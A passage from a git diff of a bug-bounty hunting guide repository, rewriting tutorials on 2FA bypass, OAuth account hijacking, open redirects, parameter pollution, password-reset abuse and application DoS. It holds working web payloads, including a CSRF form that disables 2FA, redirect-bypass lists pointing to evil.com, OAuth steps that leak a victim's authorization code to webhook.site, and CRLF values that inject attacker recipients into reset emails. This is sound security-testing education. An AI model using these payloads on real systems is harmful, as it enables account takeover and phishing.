than trivial repeated spaces. +- Lockout loops: rotate source IPs only if the lock is IP-independent (account-based) — test both single-IP and distributed behavior. -- https://www.acunetix.com/vulnerabilities/web/long-password-denial-of-service/ -- https://hackerone.com/reports/738569 -- https://hackerone.com/reports/167351 +## Tools & Resources -\- Long String DOS -- [https://medium.com/@shahjerry33/long-string-dos-6ba8ceab3aa0](https://medium.com/@shahjerry33/long-string-dos-6ba8ceab3aa0) -- https://hackerone.com/reports/764434 +- `Password.txt` (long-password sample): bundled in this repo at [Application_Level_DoS/Password.txt](./Password.txt) / https://raw.githubusercontent.com/KathanP19/HowToHunt/master/Application_Level_DoS/Password.txt +- Burp Repeater / Intruder for looping lockout and long-password requests +- References: + - Email Bounce: https://medium.com/bugbountywriteup/an-unexpected-bounty-email-bounce-issues-b9f24a35eb68 + - Long Password DoS: https://www.acunetix.com/vulnerabilities/web/long-password-denial-of-service/ , https://hackerone.com/reports/738569 , https://hackerone.com/reports/167351 + - Long String DoS: https://medium.com/@shahjerry33/long-string-dos-6ba8ceab3aa0 , https://hackerone.com/reports/764434 + - Lockout DoS: https://youtu.be/5drIMXCQuNw -\- Permanent DOS to victim -- https://youtu.be/5drIMXCQuNw +## Report Tips -## Author: -* [Keshav Malik](https://twitter.com/g0t_rOoT_) -* [Fani Malik](https://twitter.com/fanimalikhack) +- Permanent victim lockout after N failed attempts = P2; temporary lockout = P3/P4. Frame it as "an attacker can permanently block any user account by looping this request with small intervals." +- ESP bounce findings should name the provider and its threshold to show the outage is real, not theoretical. +- For long-password DoS, attach timing deltas (normal vs oversized input) as proof of resource consumption; keep testing at low volume. +--- +*Authors: [Keshav Malik](https://twitter.com/g0t_rOoT_), [Fani Malik](https://twitter.com/fanimalikhack)* diff --git a/Authentication_Bypass/2FA_Bypasses.md b/Authentication_Bypass/2FA_Bypasses.md deleted file mode 100644 index 86cef51e..00000000 --- a/Authentication_Bypass/2FA_Bypasses.md +++ /dev/null @@ -1,194 +0,0 @@ -# **2FA Bypass Techniques** - -## **Introduction** -Two-Factor Authentication (2FA) is a security mechanism designed to add an extra layer of protection by requiring users to provide an additional verification code after entering their credentials. However, improper implementations of 2FA can introduce various security flaws that allow attackers to bypass authentication. - -This document outlines **common 2FA bypass techniques**, including **response manipulation, brute-force attacks, backup code abuse, and session hijacking**. Each method is detailed with examples and exploitation steps. - -For a **visual reference**, a **[2FA Bypass Mindmap](https://mm.tt/1736437018?t=SEeZOmvt01)** provides an overview of different attack vectors. - ---- - -## **Common 2FA Bypass Techniques** - -### **Index of Techniques** -| # | **Technique** | -|----|--------------| -| **1** | Response Manipulation | -| **2** | Status Code Manipulation | -| **3** | 2FA Code Leakage in Response | -| **4** | JavaScript File Analysis | -| **5** | 2FA Code Reusability | -| **6** | Lack of Brute-Force Protection | -| **7** | Missing 2FA Code Integrity Validation | -| **8** | CSRF on 2FA Disabling | -| **9** | Password Reset Disables 2FA | -| **10** | Backup Code Abuse | -| **11** | Clickjacking on 2FA Disabling Page | -| **12** | Enabling 2FA Without Expiring Active Sessions | -| **13** | Bypass 2FA with `null` or `000000` | - ---- - -## **1. Response Manipulation** -Some 2FA implementations return a JSON response indicating whether authentication was successful. **Altering the response** can bypass restrictions. - -### **Exploitation** -- Intercept the response using **Burp Suite** or **a browser's developer tools**. -- Look for a response like: - ```json - { "success": false } - ``` -- Change it to: - ```json - { "success": true } - ``` -- If client-side validation is weak, access is granted. - ---- - -## **2. Status Code Manipulation** -Some applications rely on HTTP status codes to determine authentication success. - -### **Exploitation** -- If a **4xx error** (e.g., `401 Unauthorized`) is received after entering a **wrong** 2FA code, modify the response to: - ``` - HTTP/1.1 200 OK - ``` -- Some applications may grant access **even if authentication failed**. - ---- - -## **3. 2FA Code Leakage in API Responses** -Some applications accidentally **leak the 2FA code** in their API response. - -### **Exploitation** -- Intercept the **request triggering the 2FA code**. -- Examine the API response. -- If the response contains: - ```json - { "otp": "123456" } - ``` - - The attacker can directly **use the leaked OTP**. - ---- - -## **4. JavaScript File Analysis** -Some applications store **2FA-related logic** in JavaScript files. - -### **Exploitation** -- Check for exposed `.js` files in the application. -- Look for sensitive **hardcoded values** like: - ```javascript - var otp = "123456"; - ``` -- Attackers can **extract OTP verification logic** or **static OTPs**. - ---- - -## **5. 2FA Code Reusability** -Some applications **do not expire OTPs after use**, allowing attackers to **reuse** them. - -### **Exploitation** -- Obtain a **valid OTP** from a previous session. -- Attempt to reuse the same OTP for authentication. -- If the system does not enforce **one-time use**, the **old OTP grants access**. - ---- - -## **6. Lack of Brute-Force Protection** -Applications that **do not limit OTP attempts** allow brute-forcing. - -### **Exploitation** -- Identify the **number of OTP digits** (commonly `4`-`6`). -- Use a tool like `Burp Intruder` to brute-force: - ``` - 000000 - 999999 - ``` -- **Weak OTP validation** allows attackers to guess the correct OTP. - ---- - -## **7. Missing 2FA Code Integrity Validation** -Some systems accept **any valid OTP**, even from different accounts. - -### **Exploitation** -- Obtain a **valid OTP** for **Account A**. -- Use the **same OTP** to authenticate **Account B**. -- If the system **does not verify OTP ownership**, access is granted. - ---- - -## **8. CSRF on 2FA Disabling** -Some applications **lack CSRF protection** when disabling 2FA. - -### **Exploitation** -- Construct a **malicious request** to disable 2FA: - ```html -
- - -
- ``` -- Trick the victim into **clicking the form**, disabling their 2FA. - ---- - -## **9. Password Reset Disables 2FA** -Some systems **disable 2FA** when a user resets their password. - -### **Exploitation** -- If an account has 2FA enabled, attempt a **password reset**. -- Check if **2FA is still active** after resetting the password. -- If **2FA is disabled**, log in **without 2FA authentication**. - ---- - -## **10. Backup Code Abuse** -Backup codes provide **alternative login options** when OTP is unavailable. - -### **Exploitation** -- If backup codes are stored **insecurely**, they can be leaked or stolen. -- Some applications **do not expire backup codes after use**, allowing repeated exploitation. - ---- - -## **11. Clickjacking on 2FA Disabling Page** -Some applications allow **2FA to be disabled** without additional verification. - -### **Exploitation** -- Load the **2FA disabling page** in an ``. and deliver your website link to the victim. - - When their browser loads the `iframe`, it will complete the OAuth flow using your social media profile, attaching it to the victim account. - -### Method-3 (Account hijacking via redirect_uri) -- Complete the oauth sign in flow and log out then log back in and you will be logged in instantly this time. -- Find the most recent Authorization request in http history, it should be similar to `GET /auth?client_id=[...]`. -- Check the redirect_uri param and try to change it. If you can redirect it to an external site then good , if not then try different endpoints on the same website and check if they work. -- if there is an open redirect then change the redirect_uri to your webhook site link and follow the redirect. -- Now check for a log entry in webhook.site containing an authorization code. -- So now you can send the request url to the victim (or make an iframe as mentioned above) with redirect_uri set as your webhook site and leak their authorization codes. -- If the victim clicks on the link then you would see the authorization code in your webhook.site logs. -- now you can use this stolen code in the callback request and the rest of the OAuth flow will be completed automatically and you will be logged in as the admin user. - -## Author: -[Pyr0sec](https://twitter.com/Pyr0sec) diff --git a/OAuth/OAuth_2.0_Hunting_Methodology.md b/OAuth/OAuth_2.0_Hunting_Methodology.md new file mode 100644 index 00000000..a69d23a8 --- /dev/null +++ b/OAuth/OAuth_2.0_Hunting_Methodology.md @@ -0,0 +1,118 @@ +# OAuth 2.0 Hunting Methodology + +OAuth 2.0 is the de-facto authorization framework behind "Login with Google/Facebook/..." SSO and API delegation. Because it stitches together a client app, an authorization server and a browser redirect chain, small implementation mistakes — missing `state`, weak `redirect_uri` validation, unvalidated tokens on the callback — are common and directly lead to account takeover or forced account linking. + +In OAuth there are two main flows/grant types to recognize: **Authorization code flow** and **Implicit flow**. + +> Note: if the OAuth service uses the authorization code flow there is little to no chance of finding a bug *in the front-channel*; if it uses the implicit flow there is a good chance of finding bugs. + +## Hunting Checklist + +1. Trigger the "Login with …" flow and capture it; the authorization endpoint may be named differently (`/auth`, `/authorization`…) — identify it by its parameters: `client_id`, `redirect_uri`, `response_type`, `scope`, `state`. +2. **Determine the grant type** from `response_type` (`code` vs `token`) and what arrives at the callback (authorization code vs access token). +3. **Check the `state` parameter** on the linking/callback request — its absence means CSRF (forced profile linking). +4. **Test `redirect_uri` validation** — swap in an external URL you control (webhook.site), then alternate paths/subdomains on the same host. +5. If implicit flow: find the **POST that trades the access token + user info for a session cookie** in HTTP history and test whether the server validates the token against the provider. +6. Replay/manipulate: capture the code/token callback, **drop the original request** so the code stays unused, then reuse it. +7. Deliver the crafted URL (or ` +``` + +6. When the victim's browser loads the iframe, the OAuth flow completes and **your social media profile gets attached to their account** (then you can log into the victim's account via "your" linked provider). + +### Method 3 — Account hijacking via `redirect_uri` + +1. Complete the OAuth sign-in, log out, log back in (instant) and capture it. +2. Find the most recent authorization request `GET /auth?client_id=[...]` in HTTP history. +3. Check `redirect_uri` and try to change it — if you can redirect to an external site, good; if not, try different endpoints on the same website. +4. If there is an open redirect, change `redirect_uri` to your **webhook.site** link and follow the redirect. +5. Check webhook.site logs for a request containing the **authorization code**. +6. Send the request URL to the victim (or iframe it as in Method 2) with `redirect_uri` set to your webhook site — when they click, their authorization code lands in your logs. +7. Replay the stolen code in the callback request; the rest of the OAuth flow completes automatically and you are logged in as the victim (e.g. the admin user). + +## Bypass Techniques + +- `redirect_uri` allowlist filtering (standard checks to try): + - append the payload path/subdomain behind the allowlisted host: `https://target.com.evil.com`, `https://target.com@evil.com` + - allowlisted-suffix tricks: `https://target.com.evil.com` vs `https://evil.com/?x=target.com`, and `https://evil.com/target.com` + - different endpoint on same host, `//evil.com`, `/\evil.com`, URL-encoded (`%2f`, double encoding), added port, `https:` vs `http:` mismatch +- Case/parameter confusion: duplicate `redirect_uri`, send it in POST body as well as query. +- `state` present but not validated: fixate a `state` from your own session and reuse it in the victim's flow (login CSRF). +- Implicit-flow fragment leakage: access token may leak via Referer, history or an XSS'd postMessage handler on the callback page. + +## Tools & Resources + +- Burp Suite (HTTP history, Repeater — drop the request to keep the code unused) +- [webhook.site](https://webhook.site) / interactsh — catch leaked codes/tokens +- [PortSwigger Web Security Academy — OAuth](https://portswigger.net/web-security/oauth) +- [OAuth 2.0 Threat Model and Security Considerations (RFC 6819)](https://datatracker.ietf.org/doc/html/rfc6819) + +**Mindmap** (see [README](README.md)): +![OAuth mindmap](https://pbs.twimg.com/media/EZ1WqmcXYAAqwSH?format=jpg&name=900x900) + +## Report Tips + +- Method 2 (forced linking): demonstrate you can attach your identity to a victim and then log in as them → account takeover; a missing `state` alone is the root cause to highlight. +- Method 3 (code leak): show a full chain — crafted URL → victim click → code at webhook.site → session established; that removes any "theoretical" doubt for triage. +- Implicit-flow token validation bypass: prove login as another user with an untouched/expired/fake access token plus the session cookie received. + +**Author:** [Pyr0sec](https://twitter.com/Pyr0sec) diff --git a/OAuth/README.md b/OAuth/README.md index 4c497dfe..724a1f26 100644 --- a/OAuth/README.md +++ b/OAuth/README.md @@ -1,5 +1,11 @@ -# Some MindMap ---- +# OAuth 2.0 + +Index for OAuth 2.0 hunting material in this repo. + +- [OAuth 2.0 Hunting Methodology](OAuth_2.0_Hunting_Methodology.md) — flow identification (code vs implicit), auth bypass in implicit flow, forced profile linking, account hijacking via `redirect_uri`. + +## MindMap + ### OAuth by Hack3rSr0lls ![https://pbs.twimg.com/media/EZ1WqmcXYAAqwSH?format=jpg&name=900x900](https://pbs.twimg.com/media/EZ1WqmcXYAAqwSH?format=jpg&name=900x900) diff --git a/Open_Redirection/Open_Redirection_Bypass.md b/Open_Redirection/Open_Redirection_Bypass.md index ff2af123..91e1b75b 100644 --- a/Open_Redirection/Open_Redirection_Bypass.md +++ b/Open_Redirection/Open_Redirection_Bypass.md @@ -1,15 +1,97 @@ -# Open Redirection Bypass Trick: +# Open Redirect Bypass Techniques -This bypass I found in a application while I doing pentesting. I hope it will helps you too! +Most "protected" redirect parameters aren't blocked — they're filtered with a weak `contains`/`endsWith`/regex rule that only checks the URL string, not where the browser will actually navigate. Bypassing these converts a rejected payload into a working redirect to an arbitrary domain, which matters most when the redirect sits in a login, SSO, or email link that victims trust. Impact mirrors open redirection: phishing with a legit-domain entry point, and full account takeover when chained with OAuth flows. -1. While you I trying to redirect https://targetweb.com?url=http://attackersite.com it did not redirected! -2. I Created a new subdomain with with www.targetweb.com.attackersite.com -3. And when I tried to redirect with https://targetweb.com?url=www.targetweb.com.attackersite.com -4. It will successfully redirected to the www.targetweb.com.attackersite.com website! -5. Due to the bad regex it has been successfully bypass their protection! +Hunting workflow & finding hidden redirect params: [Open_Redirection_Hunting.md](./Open_Redirection_Hunting.md) -### Authors: -* [@bishal0x01](https://twitter.com/bishal0x01) +## Hunting Checklist -### Reference Tweets: -* https://twitter.com/bishal0x01/status/1262021038080053248 +1. Confirm the filter type first: does it reject `https://evil.com`, accept relative paths only, or only allowlist your domain? +2. Try the string-level tricks (suffix subdomain, `@` credentials, path/query/fragment embedding) — one usually slips past a `contains`/`endsWith` regex. +3. Try parser-difference tricks: protocol-relative `//`, backslash `/\`, missing scheme — browsers normalize these differently than a WAF regex does. +4. Check case, whitespace, and encoding (`%09`, `%0a`, double `//`) against naive pattern matching. +5. If the app validates only the *first* occurrence, supply the parameter twice (HTTP parameter pollution). +6. Verify the final navigation in a real browser (`curl -I` shows `Location:`, but only the browser confirms you land on the attacker host). + +## Test Cases & Examples + +### Real-world bypass (subdomain-prefix / bad regex) + +Write-up of the original find: + +1. Redirect attempt `https://targetweb.com?url=http://attackersite.com` did **not** redirect (blocked). +2. Created a new subdomain `www.targetweb.com.attackersite.com` (under attacker control). +3. Retried with `https://targetweb.com?url=www.targetweb.com.attackersite.com`. +4. The site **successfully redirected** to `www.targetweb.com.attackersite.com`. +5. The validation only checked that the URL *contained/started with* `targetweb.com` — the bad regex made the protection useless. + +Requests: + +```http +GET /?url=http://attackersite.com HTTP/1.1 +Host: targetweb.com +``` + +```http +GET /?url=www.targetweb.com.attackersite.com HTTP/1.1 +Host: targetweb.com +``` + +```http +HTTP/1.1 302 Found +Location: http://www.targetweb.com.attackersite.com +``` + +Author: **[@bishal0x01](https://twitter.com/bishal0x01)** · Reference: https://twitter.com/bishal0x01/status/1262021038080053248 + +### Standard bypass payload list + +Replace `target.com` with the victim domain, `evil.com` with yours, `?url=` with the found parameter: + +```text +?url=https://evil.com +?url=https://evil.com/#target.com # contains target.com → endsWith/contains checks pass +?url=https://evil.com/?target.com +?url=https://evil.com/path=target.com +?url=https://target.com.evil.com # attacker subdomain named after victim +?url=https://evil.com\@target.com # credentials confusion (userinfo before @) +?url=https://evil.com\ttarget.com # tab/CRLF breaks naive parsers +?url=//evil.com # protocol-relative +?url=/\evil.com # slash-backslash → browser reads //evil.com +?url=\/\/evil.com +?url=/\/evil.com +?url=target.com.evil.com +?url=.%09/target.com # whitespace encoding +?url=/%09/target.com +?url=javascript:alert(1);// # where the sink is href/location JS (see note) +?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== +?url=vbscript:msgbox(1) # legacy IE contexts only +?url=ftp://evil.com +?url=https://evil.com/https://target.com +?url=https://evil.com?redirect=target.com +?url=..%2f..%2f..%2f@evil.com +?url=https://target.com@evil.com +``` + +## Bypass Techniques + +Quick map of payload → the check it defeats: + +- **`endsWith("target.com")`** → `https://evil.com/#target.com`, `https://evil.com/?target.com`, `https://evil.com/path=target.com` (legit string is at the end of the value, but the *host* is attacker's). +- **`contains("target.com")`** → `https://target.com.evil.com`, `https://evil.com/https://target.com`, credential form `https://target.com@evil.com`. +- **Regex missing `^`/`$` anchors or URL parsing** → protocol-relative `//evil.com`, backslash `/\evil.com`, tab/CR padding. +- **Validation only on GET** → same payload via POST body; **only first param checked** → `?url=https://target.com&url=https://evil.com`. +- **Allowlist of paths only** → absolute URL injection; **URL parser differences** between the validator and the browser are the root cause of nearly all of these — that's also what makes them reportable ("validation bypass", not just "redirect"). + +## Tools & Resources + +- Payload collection: PayloadsAllTheThings [Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) — this doc mirrors its widely-known standard set +- OWASP [Unvalidated Redirects and Forwards](https://owasp.org/www-community/attacks/Unvalidated_Redirects_and_Forwards) +- PortSwigger Web Security Academy: *Location hijacking via redirect parameter* +- Helpers: Burp Repeater + match/replace on `Location`, `curl -sI` per payload, ffuf for parameterized fuzzing + +## Report Tips + +- Lead with the chain, not the redirect: "phishing link that shows only `target.com` in the address bar while landing on attacker content," or `redirect_uri` → stolen OAuth code/token → account takeover. +- Include the blocked payload and the working bypass payload side by side — the contrast is the actual bug (validation logic), and it preempts "won't fix / informational." +- Demonstrate the final `Location:` header and the browser's resulting page/URL in a recording; state the victim context (logged-in page, email link, SSO hop) where the redirect is reachable. diff --git a/Open_Redirection/Open_Redirection_Hunting.md b/Open_Redirection/Open_Redirection_Hunting.md new file mode 100644 index 00000000..44796e51 --- /dev/null +++ b/Open_Redirection/Open_Redirection_Hunting.md @@ -0,0 +1,78 @@ +# Open Redirect — Hunting Guide + +Open redirection occurs when a URL parameter (or header/JS sink) sends the user to an attacker-controlled external site without validation. On its own most programs rate it low/informational, but it is a powerful chain piece: phishing with a trusted domain in the address bar, OAuth token theft via a poisoned `redirect_uri`, and (rarely) XSS escalation — so finding the *hidden* redirect parameters others miss pays off. + +Filter-evasion payloads: [Open_Redirection_Bypass.md](./Open_Redirection_Bypass.md) + +## Hunting Checklist + +1. Fuzz obvious parameters across the app: `url`, `redirect`, `redirect_uri`, `redirectUrl`, `next`, `retUrl`, `return`, `returnurl`, `continue`, `target`, `dest`, `r`, `go`, `image`, `path`. +2. **Login-redirect trick** (find redirect params you didn't know existed): + 1. If the application has a Sign-In/Sign-Up feature, register a user and log in. + 2. Go to your user profile page, e.g. `samplesite.me/accounts/profile`. + 3. Copy the profile page's URL. + 4. Logout, clear all cookies, and go to the site's homepage. + 5. Paste the copied profile URL into the address bar. + 6. If the site prompts for login, check the address bar — you may find a login page with a redirect parameter: + - `https://samplesite.me/login?next=accounts/profile` + - `https://samplesite.me/login?retUrl=accounts/profile` + 7. Try to exploit the parameter by adding an external domain and load the crafted URL. + 8. If it redirects to the evil domain, that's your open redirection bug. + 9. Try to leverage it to XSS (see Test Cases). +3. Check every unauthenticated→authenticated transition (login, password reset, logout, SSO/OAuth flows), pricing/promo hops, language/locale switches, and email-tracking/unsubscribe links. +4. Mine historical URLs for redirect-shaped parameters: + +```bash +waybackurls target.com | grep -Ei '(\?|&)(url|next|redirect|returl|return|continue|target|dest)=' +``` + +5. Test client-side redirects too: grep JS for `location.href=`, `location.replace(`, `window.location=` fed from query params (`?url=` patterns reach `location` unsafely). +6. When direct external URLs are blocked, move to [Open_Redirection_Bypass.md](./Open_Redirection_Bypass.md). + +## Test Cases & Examples + +Direct exploitation of a discovered parameter: + +```text +https://samplesite.me/login?next=https://evil.com/ +``` + +Regex-beating credential form (domain looks legit, real host is `evil.com`): + +```text +https://samplesite.me/login?next=https://samplesite.me@evil.com/ +``` + +XSS escalation attempt (executes only where the value lands in `href`/`location:` JS sinks, and is blocked in modern address-bar navigations): + +```text +https://samplesite.me/login?next=javascript:alert(1);// +``` + +Request showing the vulnerable 302: + +```http +GET /logout?redirect=https://evil.com HTTP/1.1 +Host: target.com +``` + +```http +HTTP/1.1 302 Found +Location: https://evil.com +``` + +## Bypass Techniques + +Whitelists that only pattern-match (contain, ends-with, subdomain prefix) are all breakable — the curated payload list, including the `targetweb.com.attackersite.com` subdomain-prefix trick, is in [Open_Redirection_Bypass.md](./Open_Redirection_Bypass.md). + +## Tools & Resources + +- Recon: waybackurls / gau + `grep`, Burp parameter grep, Arjun for hidden params +- Payload references: OWASP [Unvalidated Redirects and Forwards](https://owasp.org/www-community/attacks/Unvalidated_Redirects_and_Forwards), PortSwigger Web Security Academy *Location hijacking via redirect parameter*, PayloadsAllTheThings [Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) +- Original trick author: **[febinrev](https://twitter.com/febinrev)** ("I apply this every time while testing web applications and found many Open Redirects — and even an XSS — using this trick!") + +## Report Tips + +- Don't stop at "302 to evil.com": show the *context* (login/logout/OAuth/email link) where the redirect makes the destination look trusted to victims. +- Highest-value framings: OAuth/SSO `redirect_uri` poisoning → token theft → account takeover; or a redirect used in a password-reset email/link. +- If only `javascript:`/`data:` schemes fire, demonstrate actual script execution in the victim browser (it's XSS, not a redirect) and state the browser/version where it works. diff --git a/Open_Redirection/find_OpenRedirect_trick.md b/Open_Redirection/find_OpenRedirect_trick.md deleted file mode 100644 index 0524babd..00000000 --- a/Open_Redirection/find_OpenRedirect_trick.md +++ /dev/null @@ -1,33 +0,0 @@ -## A small trick to find Open Redirection if you couldn't find any Redirection parameters. - -*"I apply this everytime while testing web applications and found many Open Redirects and even an XSS using this trick!"* - -### Steps: ------------------------------------------------------------------------------------------------------------------------------------------------------------- - 1. If the Applictaion have a user Sign-In/Sign-Up feature, then register a user and log in as the user. - - 2. Go to your user profile page , for example : samplesite.me/accounts/profile - - 3. Copy the profile page's URL - - 4. Logout and Clear all the cookies and go to the homepage of the site. - - 5. Paste the Copied Profile URL on the address bar - - 6. If the site prompts for a login , check the address bar , you may find the login page with a redirect parameter like the following - - https://samplesite.me/login?next=accounts/profile - - https://samplesite.me/login?retUrl=accounts/profile - - 7. Try to exploit the parameter by adding an external domain and load the crafted URL - eg:- https://samplesite.me/login?next=https://evil.com/ - (or) - https://samplesite.me/login?next=https://samplesite.me@evil.com/ #(to beat the bad regex filter) - - 8. If it redirects to evil.com , thers's your open redirection bug. - - 9. Try to leverage it to XSS - eg:- https://samplesite.me/login?next=javascript:alert(1);// - -------------------------------------------------------------------------------------------------------------------------------------------------------------- - - #### Author: [febinrev](https://twitter.com/febinrev) diff --git a/Parameter_Pollution/Parameter_Pollution_in_social_sharing_buttons.md b/Parameter_Pollution/Parameter_Pollution_in_social_sharing_buttons.md index 7bd0b064..7eede3f0 100644 --- a/Parameter_Pollution/Parameter_Pollution_in_social_sharing_buttons.md +++ b/Parameter_Pollution/Parameter_Pollution_in_social_sharing_buttons.md @@ -1,27 +1,71 @@ -# Parameter Pollution in social sharing buttons +# HTTP Parameter Pollution in Social Sharing Buttons -Hi Guys, -Though it is not severe bug.But still some organizations take this seriously. +Some articles are shared via "share on Facebook/Twitter" buttons whose target URL is built by concatenating parameters from the current page's query string. Duplicated/polluted parameters let an attacker overwrite the shared link (`u`) and the shared text (`text`), so victim-shared posts carry attacker content. Usually low severity — but content injection into shares from the target's brand can be accepted as spam/phishing-adjacent. -## Steps : +Background on HPP in general: OWASP "Parameter Pollution" guidance and PayloadsAllTheThings *HTTP Parameter Pollution*. +## Hunting Checklist + +1. Browse the target and find an article/blog page that has social-share links (Facebook, Twitter, addthis/sharethis widgets). +2. Inspect the share anchor's `href`: note the parameters it forwards — typically `u`/`url` and `text`/`title`. +3. Check whether the page *builds* the share URL from its own query string (dynamic share buttons are the vulnerable pattern). +4. Append a payload **after** a benign parameter using `?&...` and click each share button. +5. Observe the composed share dialog/post: if it contains the attacker URL or text, you have HPP content injection. +6. Also try duplicated originals (`?title=x&title=attacker`) to learn whether first or last value wins. + +## Test Cases & Examples + +Original walkthrough: + +1. Browse through your target, say `https://target.com`. +2. Find an article or blog on the target website which has a link to share that blog on different social networks such as Facebook, Twitter, etc. +3. Say the article URL is `https://target.com/how-to-hunt`. Append the payload: + +```text +?&u=https://attacker.com/vaya&text=another_site:https://attacker.com/vaya +``` + +so the final URL becomes: + +```text +https://target.com/how-to-hunt?&u=https://attacker.com/vaya&text=another_site:https://attacker.com/vaya +``` + +4. Hit enter with the above URL and click "share" with a social media button. +5. Observe the content: if the share includes the payload (e.g. `https://attacker.com`), the target is vulnerable — otherwise try the next target. + +Generic duplicate-parameter probe (first vs. last wins behavior): + +```text +https://target.com/how-to-hunt?u=https://target.com/how-to-hunt&u=https://attacker.com ``` -1.Browse through your target. - say https://target.com -2.Find a article or blog present on target website which must have a link to share that blog on different social networks such as - Facebook,Twitter etc. -3.Let's say we got and article with url: - https://taget.com/how-to-hunt - then just appened it with payload ?&u=https://attacker.com/vaya&text=another_site:https://attacker.com/vaya - so our url will become - https://taget.com/how-to-hunt?&u=https://attacker.com/vaya&text=another_site:https://attacker.com/vaya -4.Now hit enter with the abover url and just click on share with social media. - Just observe the content if it is including our payload i.e. https://attacker.com - Then it is vulnerable or else try next target. -``` -## References: -* https://hackerone.com/reports/105953 -* Google - -## Author -* [KenAdams000](https://twitter.com/KenAdams000) + +Share widget rendered from polluted parameters (example shape): + +```html +Share +``` + +## Bypass Techniques + +- If the app sanitizes the first parameter, place the payload second (or vice-versa) — template engines and routers differ on first/last-wins behavior. +- URL-encode or double-encode the payload values (`%u` style, `%26`-embedded pairs) when the share builder decodes late. +- Swap parameter casing/near-names (`Url`, `URL`, `txt`) if the filter is a strict name match. +- When `u` is validated against the domain but `text` is not, inject at least the attacker string into `text` (still brand-abuse content injection). + +## Tools & Resources + +- Real-world report of this exact bug class: https://hackerone.com/reports/105953 +- Recon one-liner for share endpoints in JS/HTML: + +```bash +curl -s https://target.com/article | grep -Eio '(twitter\.com|intent|facebook\.com/sharer|addthis|sharethis)[^"]*' +``` + +- Author: **[KenAdams000](https://twitter.com/KenAdams000)** + +## Report Tips + +- Show the final share dialog/preview containing the attacker URL/text — the screenshot of the composed post *is* the impact proof. +- Frame it as brand/phishing content injection ("victims see attacker-controlled links shared under target.com's own buttons"), which is why some programs accept what others close as N/A. +- Keep it factual about severity: note "not severe by itself, but accepted as content/spam injection in prior reports" and link the public reference above. diff --git a/Password_Reset_Functionality/Account_Takeover_By_Password_Reset_Functionality.md b/Password_Reset_Functionality/Account_Takeover_By_Password_Reset_Functionality.md index cd696e5a..5ce6a881 100644 --- a/Password_Reset_Functionality/Account_Takeover_By_Password_Reset_Functionality.md +++ b/Password_Reset_Functionality/Account_Takeover_By_Password_Reset_Functionality.md @@ -1,11 +1,64 @@ +# Account Takeover by Abusing the Reset Email Parameter +The forgot-password request usually takes a single `email` parameter. When the backend reads that parameter naively (first-value vs last-value vs all-values, or raw string interpolation into the mail), a single request can deliver the reset link to the attacker while "addressing" the victim — direct Account Takeover with nothing but the victim's email address. Severity: P1 when token lands in attacker-controlled inbox. + +## Hunting Checklist + +1. Capture the forgot-password request and replay it in Repeater. +2. For a victim address, try every pollution/concatenation variant of the email parameter below. +3. Watch what actually arrives at **your** mailbox when the parameter names the victim (and vice versa). +4. Test CRLF breaks for header injection (`cc/bcc`) into the generated email. +5. Test injection of your own reset `code`/`token` into the request to see if any step consumes parameters it shouldn't. +6. Pair successful delivery-to-attacker with the token theft chain to complete ATO. + +## Test Cases & Examples + +### Email Parameter Abuse (original payload set) +Try each variant as the value of the email field: +```text +1. email=victim@gmail.com&email=attacker@gmail.com +2. email=victim@gmail.com%20email=attacker@gmail.com +3. email=victim@gmail.com|email=attacker@gmail.com +4. email=victim@gmail.com%0d%0acc:attacker@gmail.com +5. email=victim@gmail.com&code= ``` -1. email= victim@gmail.com&email=attacker@gmil.com -2. email= victim@gmail.com%20email=attacker@gmil.com -3. email= victim@gmail.com |email=attacker@gmil.com -4. email= victim@gmail.com%0d%0acc:attacker@gmil.com -5. email= victim@gmail.com&code= my password reset token +Request shape for reference: +```http +POST /api/forgot-password HTTP/1.1 +Host: target.com +Content-Type: application/x-www-form-urlencoded + +email=victim%40gmail.com%0d%0acc%3aattacker%40gmail.com ``` -### Authors +What each variant probes: +- **1 (HPP)**: framework may validate one occurrence and send to the other. +- **2 (space-encoded)**: naive parsers split on space and see two recipients. +- **3 (pipe)**: some transports treat `|` as a recipient separator. +- **4 (CRLF)**: header injection — adds attacker as `cc:` in the generated email (SMTP-level). +- **5 (param smuggling)**: a `code` from *your* reset may be consumed for the victim's flow, or leak cross-account binding. + +### Related Variants (where they're documented) +- JSON array emails (`{"email_address":["victim","attacker"]}`): `Top_5_Password_Reset_Bugs.md` §2. +- `Host` / `X-Forwarded-Host` poisoning of the emailed link: `Account_Takeovers_Methodologies/Account_Takeovers_Methods.md` §3. +- Token delivered via analytics/referrer leaks: `Password_Reset_Token_Leakage.md`. + +## Bypass Techniques + +- If `&` is filtered, re-encode: `%26`, `%25%32%31`, unicode look-alikes; if space is filtered, try `%09`/`%0a` as separators. +- Array forms for form-encoded endpoints: `email[]=attacker@evil.com`, and JSON `{"email":["victim","attacker"]}`. +- Case the parameter itself: `Email=`, `email[]`, duplicate `email=` with differing values to compare first-vs-last consumption. + +## Tools & Resources + +- Burp Suite Repeater + Intruder (pitchfork positions: variant × payload), Burp Comparer for diffing two accounts' responses. +- [10 Password Reset Flaws](https://anugrahsr.github.io/posts/10-Password-reset-flaws/) + +## Report Tips + +- Show the victim's email in the request **and** the reset link arriving in the attacker inbox in the same screenshot — that pairing is the proof of ATO. +- State the precondition: attacker needs only the victim's email, no prior access. +- For CRLF (#4), quote the received email's headers as appendix evidence. + +## Credits -@tamimhasan404 +- [@tamimhasan404](https://twitter.com/tamimhasan404) — payload list. diff --git a/Password_Reset_Functionality/Password_Reset_Flaws_by_Sm4rty.md b/Password_Reset_Functionality/Password_Reset_Flaws_by_Sm4rty.md index bffdcd0b..315c4043 100644 --- a/Password_Reset_Functionality/Password_Reset_Flaws_by_Sm4rty.md +++ b/Password_Reset_Functionality/Password_Reset_Flaws_by_Sm4rty.md @@ -1,69 +1,95 @@ -# Common security flaws in password reset functionality compiled from twitter, writeups, disclosed reports: +# Password Reset Flaws — Expanded Catalog -## 1. Password Reset Token Leak Via Referrer +Common security flaws in password reset functionality, compiled from Twitter, writeups, and disclosed reports. This file is the **index of flaw classes**; the full payloads and step-by-step exploitation for the core five live in `Top_5_Password_Reset_Bugs.md`, and adjacent behaviors are distributed across the files linked inline. Use it to plan one pass per flaw class. -- The HTTP referer is an optional HTTP header field that identifies the address of the webpage which is linked to the resource being requested. -The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed +## Hunting Checklist -Exploitation: -``` - Request password reset 